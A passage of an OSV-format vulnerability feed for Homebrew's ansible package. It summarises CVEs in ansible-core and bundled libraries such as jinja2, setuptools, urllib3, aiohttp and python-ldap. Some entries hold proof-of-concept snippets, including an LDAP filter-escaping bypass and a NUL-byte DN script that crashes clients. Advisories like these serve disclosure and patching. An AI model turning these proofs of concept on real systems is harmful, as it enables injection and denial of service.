:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.17.6","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: exposure of sensitive information in ansible vault files due to improper logging","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/8xxx/CVE-2024-8775.json"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-9902","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2024-9902","GHSA-32p4-gm2c-wmch","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.0rc2","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: ansible-core user may read/write unauthorized content","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/9xxx/CVE-2024-9902.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-27516","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-47273","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5rjg-fvgr-3xxf","BIT-setuptools-2025-47273","CVE-2025-47273","PYSEC-2025-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"78.1.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write","details":"### Summary \nA path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1\n\n### Details\n```\n def _download_url(self, url, tmpdir):\n # Determine download filename\n #\n name, _fragment = egg_info_for_url(url)\n if name:\n while '..' in name:\n name = name.replace('..', '.').replace('\\\\', '_')\n else:\n name = \"__downloaded__\" # default if URL has no path contents\n\n if name.endswith('.[egg.zip](http://egg.zip/)'):\n name = name[:-4] # strip the extra .zip before download\n\n --> filename = os.path.join(tmpdir, name)\n```\n\nHere: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88\n\n`os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter.\n`name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.\n\n### Risk Assessment\nAs easy_install and package_index are deprecated, the exploitation surface is reduced.\nHowever, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.\n\n### Impact\nAn attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.\n\n### References\nhttps://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5\nhttps://github.com/pypa/setuptools/issues/4946","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47273"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/4946"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2025-49.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/05/msg00035.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-50181","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0) # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0)) # equivalent to the above\nhttp = urllib3.PoolManager(retries=False) # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-50182","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-48p4-8xcf-vxj5","CVE-2025-50182","PYSEC-2026-1997"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 does not control redirects in browsers and Node.js","details":"urllib3 [supports](https://urllib3.readthedocs.io/en/2.4.0/reference/contrib/emscripten.html) being used in a Pyodide runtime utilizing the [JavaScript Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) or falling back on [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest). This means you can use Python libraries to make HTTP requests from your browser or Node.js. Additionally, urllib3 provides [a mechanism](https://urllib3.readthedocs.io/en/2.4.0/user-guide.html#retrying-requests) to control redirects.\n\nHowever, the `retries` and `redirect` parameters are ignored with Pyodide; the runtime itself determines redirect behavior.\n\n\n## Affected usages\n\nAny code which relies on urllib3 to control the number of redirects for an HTTP request in a Pyodide runtime.\n\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects may remain vulnerable if a Pyodide runtime redirect mechanism is unsuitable.\n\n\n## Remediation\n\nIf you use urllib3 in Node.js, upgrade to a patched version of urllib3.\n\nUnfortunately, browsers provide no suitable way which urllib3 can use: `XMLHttpRequest` provides no control over redirects, the Fetch API returns `opaqueredirect` responses lacking data when redirects are controlled manually. Expect default browser behavior for redirects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-48p4-8xcf-vxj5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50182"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/7eb4a2aafe49a279c29b6d1f0ed0f42e9736194f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-53643","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-9548-qrrj-x5pj","CVE-2025-53643","PYSEC-2026-1104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.12.14","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":" AIOHTTP is vulnerable to HTTP Request/Response Smuggling through incorrect parsing of chunked trailer sections","details":"### Summary\nThe Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9548-qrrj-x5pj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53643"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-61911","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-r7r6-cc7p-4v5m","CVE-2025-61911","PYSEC-2026-1847"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.5","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"python-ldap has sanitization bypass in ldap.filter.escape_filter_chars","details":"### Summary\nThe sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured.\n\n### Details\nThe method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` happily computes without performing adequate logic to ensure a fully escaped return value.\n\n### PoC\n```\n>>> import ldap.filter\n```\n**Exploitable**\n```\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=1)\n'abc@*()/xyz'\n>>> ldap.filter.escape_filter_chars({\"abc@*()/xyz\": 1}, escape_mode=1)\n'abc@*()/xyz'\n```\n**Not exploitable**\n```\n>>> ldap.filter.escape_filter_chars(\"abc@*()/xyz\", escape_mode=1)\n'abc@\\\\2a\\\\28\\\\29\\\\2fxyz'\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=0)\nTraceback (most recent call last):\n File \"\", line 1, in \n File \"/usr/local/lib64/python3.12/site-packages/ldap/filter.py\", line 41, in escape_filter_chars\n s = assertion_value.replace('\\\\', r'\\5c')\n ^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: 'list' object has no attribute 'replace'\n>>> ldap.filter.escape_filter_chars([\"abc@*()/xyz\"], escape_mode=2)\nTraceback (most recent call last):\n File \"\", line 1, in \n File \"/usr/local/lib64/python3.12/site-packages/ldap/filter.py\", line 36, in escape_filter_chars\n r.append(\"\\\\%02x\" % ord(c))\n ^^^^^^\nTypeError: ord() expected a character, but string of length 11 found\n```\n### Impact\nIf an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them.\n\nWith Python being a dynamically typed language, and the commonly used `JSON` format supporting `list` and `dict`, it is to be expected that Python applications may commonly forward unchecked and potentially malicious `list` and `dict` objects to the vulnerable sanitization method.\n\nThe vulnerable `escape_mode=1` configuration does not appear to be widely used.\n\n### Suggested Fix\nAdd a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r7r6-cc7p-4v5m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61911"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/commit/3957526fb1852e84b90f423d9fef34c7af25b85a"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-61912","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-p34h-wq7j-h5v6","CVE-2025-61912","PYSEC-2026-1846"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.5","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","details":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000') # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\") # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\") \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=> add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n l.add_s(dn, attrs)\n print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n print(\"add_s(buggy):\", type(e).__name__, e) # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\") # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=> sanity parse:\", str2dn(safe_dn)) # parses locally\n\nprint(\"=> add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n l.add_s(safe_dn, attrs)\n print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n print(\"add_s(safe):\", e.__class__.__name__, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison 